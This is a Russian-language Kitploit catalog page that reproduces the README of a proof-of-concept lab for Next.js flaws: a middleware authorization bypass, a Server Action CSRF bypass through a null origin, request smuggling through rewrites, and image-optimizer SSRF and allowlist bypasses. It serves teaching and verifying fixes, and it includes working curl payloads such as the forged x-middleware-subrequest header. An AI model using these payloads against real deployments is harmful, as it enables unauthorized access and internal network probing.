Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Next.js-Proof-of-Concept — Некоторые Proof-of-Concept (POCs) для CVE-2025-29927, CVE-2026-27978 и CVE-2026-29057 в Next.js. | Kitploit
Инструменты/GitHubGitHub/nayekah/next.js-proof-of-concept
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьОбучение и ОбразованиеЛаборатории и Практика
GitHubnayekah/next.js-proof-of-concept

Next.js-Proof-of-Concept

Некоторые Proof-of-Concept (POCs) для CVE-2025-29927, CVE-2026-27978 и CVE-2026-29057 в Next.js.

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Next.js CVE Proof of Concept

Этот репозиторий содержит воспроизводимые proof-of-concept среды для трёх уязвимостей Next.js. Каждый PoC включает уязвимую цель, исправленную цель и скрипт, демонстрирующий разницу в поведении между ними.

Цель этого проекта — сделать первопричину и практическое влияние каждой проблемы легко наблюдаемыми в минимальной среде.

Включённые уязвимости

CVEAdvisoryВлияниеУязвимая версияИсправленная версия
CVE-2025-29927GHSA-f82v-jwr5-mffwобход авторизации, когда контроль доступа полагается только на middleware15.2.215.2.3
CVE-2026-27978GHSA-mq59-m269-xvcxобход проверок CSRF для Server Actions через Origin: null16.1.616.1.7
CVE-2026-29057GHSA-ggv3-7p47-pfv8HTTP request smuggling через rewrites во внешний бэкенд15.5.1215.5.13
NEXT-16.2.4-IMAGE-REDIRECTлокальная находка при аудите исходного кодаобход удалённого allowlist оптимизатора изображений через redirects16.2.4не проверено
NEXT-16.2.4-IMAGE-LOCAL-REWRITEлокальная находка при аудите исходного кодалокальный URL оптимизатора изображений может достичь приватного upstream через внешние rewrites16.2.4не проверено

Коммиты релизов и коммиты исправлений

Хэши ниже взяты из upstream-репозитория vercel/next.js.

CVEКоммит уязвимого релизаКоммит исправленного релизаСоответствующий коммит патча
CVE-2025-29927v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b52a078da3884efe6501613c7834a3d02a91676d2
CVE-2026-27978v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076ev16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8
CVE-2026-29057v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6

Структура репозитория

root@kitploit:~
.
|- docker-compose.yml
|- pocs/
|  |- cve-2025-29927/
|  |- cve-2026-27978/
|  |- cve-2026-29057/
|  |- next-16.2.4-image-redirect-allowlist-bypass/
|  `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
   |- run-cve-2025-29927.mjs
   |- run-cve-2026-27978.mjs
   |- run-cve-2026-29057.mjs
   |- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
   `- run-next-16.2.4-image-local-rewrite-ssrf.mjs

Предварительные требования

  1. Установите Docker Desktop или Docker Engine.
  2. Убедитесь, что docker compose доступен.
  3. Выполняйте команды из корня этого репозитория.

Запуск всех сервисов

root@kitploit:~
docker compose up --build

Открытые порты:

  • 3001 -> CVE-2025-29927 уязвимая
  • 3002 -> CVE-2025-29927 исправленная
  • 3003 -> CVE-2026-27978 уязвимая
  • 3004 -> CVE-2026-27978 исправленная
  • 3005 -> CVE-2026-29057 уязвимая
  • 3006 -> CVE-2026-29057 исправленная
  • 3007 -> NEXT-16.2.4-IMAGE-REDIRECT
  • 3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITE

Воспроизведение 1: CVE-2025-29927

Уязвимый путь выполнения кода

В этом PoC /dashboard защищён только middleware:

root@kitploit:~
export function middleware(request) {
  const session = request.cookies.get('session')?.value

  if (session !== 'admin') {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  return NextResponse.next()
}

Сама проверка авторизации не является некорректной. Проблема в том, что маршрут полностью полагается на предположение о том, что выполнение middleware нельзя пропустить.

В затронутых версиях Next.js внешние запросы могли по-прежнему передавать внутренний заголовок x-middleware-subrequest, и рантайм обрабатывал это значение как доверенные метаданные middleware. Соответствующая уязвимая логика выглядела так:

root@kitploit:~
const INTERNAL_HEADERS = [
  'x-middleware-rewrite',
  'x-middleware-redirect',
  'x-middleware-set-cookie',
  'x-middleware-skip',
  'x-middleware-override-headers',
  'x-middleware-next',
  'x-now-route-matches',
  'x-matched-path',
]

export const filterInternalHeaders = (headers) => {
  for (const header in headers) {
    if (INTERNAL_HEADERS.includes(header)) {
      delete headers[header]
    }
  }
}

x-middleware-subrequest не фильтровался там, поэтому управляемые атакующим входные данные могли достигать рантайма middleware. Затем это значение использовалось для вычисления глубины рекурсии:

root@kitploit:~
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

const depth = subrequests.reduce(
  (acc, curr) => (curr === params.name ? acc + 1 : acc),
  0
)

if (depth >= MAX_RECURSION_DEPTH) {
  return {
    response: new Response(null, {
      headers: {
        'x-middleware-next': '1',
      },
    }),
  }
}

Если атакующий отправляет middleware:middleware:middleware:middleware:middleware, рантайм может заключить, что глубина рекурсии уже достигнута, и передать запрос дальше без выполнения middleware приложения.

Запуск

root@kitploit:~
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
root@kitploit:~
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002

Ожидаемое поведение:

  • 3001 возвращает редирект без заголовка эксплойта, но возвращает 200 OK с x-middleware-subrequest.
  • 3002 продолжает перенаправлять на /login, поскольку внутренний заголовок больше не является доверенным для внешнего ввода.

Воспроизведение 2: CVE-2026-27978

Уязвимый путь выполнения кода

Этот PoC предоставляет обычный Server Action, который изменяет состояние на стороне сервера:

root@kitploit:~
'use server'

import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'

export async function transferFunds(formData) {
  const cookieStore = await cookies()
  const session = cookieStore.get('session')?.value

  if (!session) {
    throw new Error('Victim session cookie is missing.')
  }

  const amount = Number(formData.get('amount') || '0')
  recordTransfer(session, amount)
  revalidatePath('/')
}

Проблема не в самом transferFunds(). Уязвимое поведение было в проверке CSRF для Server Actions в Next.js. В затронутых версиях Origin: null обрабатывался как отсутствующий origin вместо явного opaque-происхождения:

root@kitploit:~
const originHeader = req.headers['origin']
const originDomain =
  typeof originHeader === 'string' && originHeader !== 'null'
    ? new URL(originHeader).host
    : undefined

const host = parseHostHeader(req.headers)

if (!originDomain) {
  warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
  if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
    // Ignore it
  } else {
    const error = new Error('Invalid Server Actions request.')
    // ...
  }
}

Поскольку 'null' становился undefined, запросы из opaque-происхождений, таких как sandboxed iframe, могли избегать сравнения host/origin и всё равно обрабатываться с cookie жертвы.

Запуск

root@kitploit:~
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
root@kitploit:~
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004

Ожидаемое поведение:

  • скрипт входит в систему как жертва, извлекает сгенерированное поле Server Action со страницы и отправляет его с Origin: null
  • на уязвимой цели состояние перевода изменяется
  • на исправленной цели запрос завершается ошибкой, а состояние остаётся неизменным

Воспроизведение 3: CVE-2026-29057

Уязвимый путь выполнения кода

Этот PoC перенаправляет /rewrites/:path* во внешний бэкенд:

root@kitploit:~
/** @type {import('next').NextConfig} */
const nextConfig = {
  async rewrites() {
    return [
      {
        source: '/rewrites/:path*',
        destination: 'http://127.0.0.1:4000/rewrites/:path*',
      },
    ]
  },
}

module.exports = nextConfig

Уязвимое поведение было во встроенной зависимости http-proxy, используемой Next.js для rewrites. В затронутых версиях логика прокси для запросов DELETE и OPTIONS могла добавлять content-length: 0 и удалять transfer-encoding:

root@kitploit:~
deleteLength: function deleteLength(req, res, options) {
  if (
    (req.method === 'DELETE' || req.method === 'OPTIONS') &&
    !req.headers['content-length']
  ) {
    req.headers['content-length'] = '0'
    delete req.headers['transfer-encoding']
  }
},

Это создавало несогласованность границ запроса между прокси-цепочкой и бэкендом, когда пересылался специально сформированный chunked-запрос. В результате второй запрос мог быть «протащен» (smuggled) к бэкенду через то же соединение.

Запуск

root@kitploit:~
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
root@kitploit:~
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006

Ожидаемое поведение:

  • скрипт сбрасывает наблюдаемое состояние, затем отправляет сырой chunked-запрос DELETE /rewrites/poc, содержащий протащенный GET /secret
  • на уязвимой цели бэкенд записывает и DELETE /rewrites/poc, и GET /secret
  • на исправленной цели бэкенд записывает только первый переписанный запрос

Пример наблюдаемого вывода:

root@kitploit:~
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.

$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.

Воспроизведение 4: NEXT-16.2.4-IMAGE-REDIRECT

Уязвимый путь выполнения кода

Локальный исходный код next.js-16.2.4 проверяет images.remotePatterns только для исходного параметра url в ImageOptimizerCache.validateParams():

root@kitploit:~
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

Затем путь сетевого получения следует за редиректами рекурсивно в fetchExternalImage():

root@kitploit:~
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
  redirect,
  dangerouslyAllowLocalIP,
  maximumResponseBody,
  count - 1
)

Этот рекурсивный вызов сохраняет проверку приватных IP, но не получает и не применяет повторно domains / remotePatterns. Таким образом, разрешённый источник изображений может перенаправить оптимизатор на другой публичный origin, который не прошёл бы исходный allowlist изображений.

В PoC используются сервисы localhost, а dangerouslyAllowLocalIP: true задан только для того, чтобы поведение allowlist можно было воспроизвести без внешней инфраструктуры. Настроенный allowlist изображений разрешает только http://127.0.0.1:4100/allowed/**; этот сервер перенаправляет на http://127.0.0.1:4200/blocked/private.png, а второй сервер записывает, был ли он достигнут.

Запуск

root@kitploit:~
docker compose up --build next-16-image-redirect-bypass
root@kitploit:~
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007

Ожидаемое поведение:

  • оптимизатор принимает исходный разрешённый URL на порту 4100
  • разрешённый upstream перенаправляет на URL на порту 4200, который находится вне images.remotePatterns
  • на уязвимой цели upstream на порту 4200 записывает GET /blocked/private.png
  • на исправленной цели целевой URL редиректа должен отклоняться до того, как будет запрошен второй upstream

Быстрые ручные команды

CVE-2025-29927

root@kitploit:~
curl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard

CVE-2026-27978

Используйте предоставленный скрипт, поскольку поле Server Action генерируется сервером динамически.

CVE-2026-29057

Используйте предоставленный скрипт, поскольку эксплойт полагается на сырую TCP-нагрузку с протащенным вторым запросом.

NEXT-16.2.4-IMAGE-REDIRECT

root@kitploit:~
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state

Воспроизведение 5: NEXT-16.2.4-IMAGE-LOCAL-REWRITE

Уязвимый путь выполнения кода

Для локального URL изображения ImageOptimizerCache.validateParams() проверяет только локальный pathname на соответствие images.localPatterns:

root@kitploit:~
if (!hasLocalMatch(localPatterns, url)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

Затем внутренний путь получения снова входит в обработчик запросов Next.js:

root@kitploit:~
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))

Если соответствующий локальный маршрут настроен как внешний rewrite, запрос может быть проксирован на этот внешний адрес. Этот путь не вызывает fetchExternalImage(), поэтому защита от приватных IP, используемая для абсолютных URL изображений, не применяется к переписанному адресу назначения.

Конфигурация PoC разрешает только локальные URL изображений в /allowed/**, а затем перенаправляет этот путь на http://127.0.0.1:4300/private/:path*:

root@kitploit:~
const nextConfig = {
  images: {
    localPatterns: [{ pathname: '/allowed/**' }],
  },
  async rewrites() {
    return [
      {
        source: '/allowed/:path*',
        destination: 'http://127.0.0.1:4300/private/:path*',
      },
    ]
  },
}

Запуск

root@kitploit:~
docker compose up --build next-16-image-local-rewrite-ssrf
root@kitploit:~
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008

Ожидаемое поведение:

  • оптимизатор принимает /allowed/secret.png, поскольку он соответствует images.localPatterns
  • Next.js применяет внешний rewrite на http://127.0.0.1:4300/private/secret.png
  • на уязвимой цели приватный upstream записывает GET /private/secret.png
  • на исправленной цели оптимизатор изображений должен отклонять внешние/приватные адреса назначения rewrites до их проксирования

NEXT-16.2.4-IMAGE-LOCAL-REWRITE

root@kitploit:~
curl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state

Источники

  • Рекомендации по безопасности Next.js
  • Рекомендация CVE-2025-29927
  • Разбор инцидента с обходом middleware
  • Рекомендация CVE-2026-27978
  • Рекомендация CVE-2026-29057
  • Коммит патча для CVE-2026-29057
Скачать инструмент